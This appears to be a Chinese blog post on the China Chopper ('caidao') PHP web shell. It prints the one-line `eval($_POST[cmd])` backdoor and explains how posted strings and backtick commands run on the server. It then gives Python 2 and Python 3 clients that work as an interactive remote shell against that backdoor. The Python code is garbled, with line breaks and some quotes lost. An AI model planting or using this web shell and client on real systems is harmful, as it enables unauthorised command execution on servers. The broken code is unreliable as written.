php菜刀的研究一
<?php eval($_POST[cmd]);?>
eval() 函數把字元串按照 PHP 代碼來計算。
該字元串必須是合法的 PHP 代碼,且必須以分號結尾。
如果沒有在代碼字元串中調用 return 語句,則返回 NULL。如果代碼中存在解析錯誤,則 eval() 函數返回 false。
通過post請求來進行代碼執行
cmd=echo 1;
返回 echo 輸出的內容
echo `ls`;
執行命令
附上python腳本
python 2.6的
import urllibimport urllib2import sysimport getoptvar = 0p=""a=echo `b=`;url=""h=""opts,args = getopt.getopt(sys.argv[1:],"u:p:h:")for op, value in opts: if op =="-u": url=value elif op =="-p": p=value elif op =="-h": print "help: -u http://localhost/xx.php -p password"while (var<1): shell = raw_input(>>> ) data = {p:a+shell+b} req = urllib2.Request(url,urllib.urlencode(data)); resp = urllib2.urlopen(req) ppp = resp.read() print ppp
python 3.x的
import requestsimport argparseurl = argparse.ArgumentParser()url.add_argument(-u,type=str)url.add_argument("-p",type=str)args = url.parse_args()a = "echo `"b = "`;"var = 1while var == 1: shell = input(">>> ") post = {args.p:a+shell+b} r = requests.post(args.u,post) print(r.text)
推薦閱讀:
※[漏洞復現] CVE-2010-2883 Adobe Reader 打開pdf電腦即刻中招
※xss漏洞原理分析與挖掘方法
※怎麼成為一個合格的滲透測試人員?
※[漏洞復現] MS17-010 基於"永恆之藍"實現Windows Getshell
TAG:滲透測試 |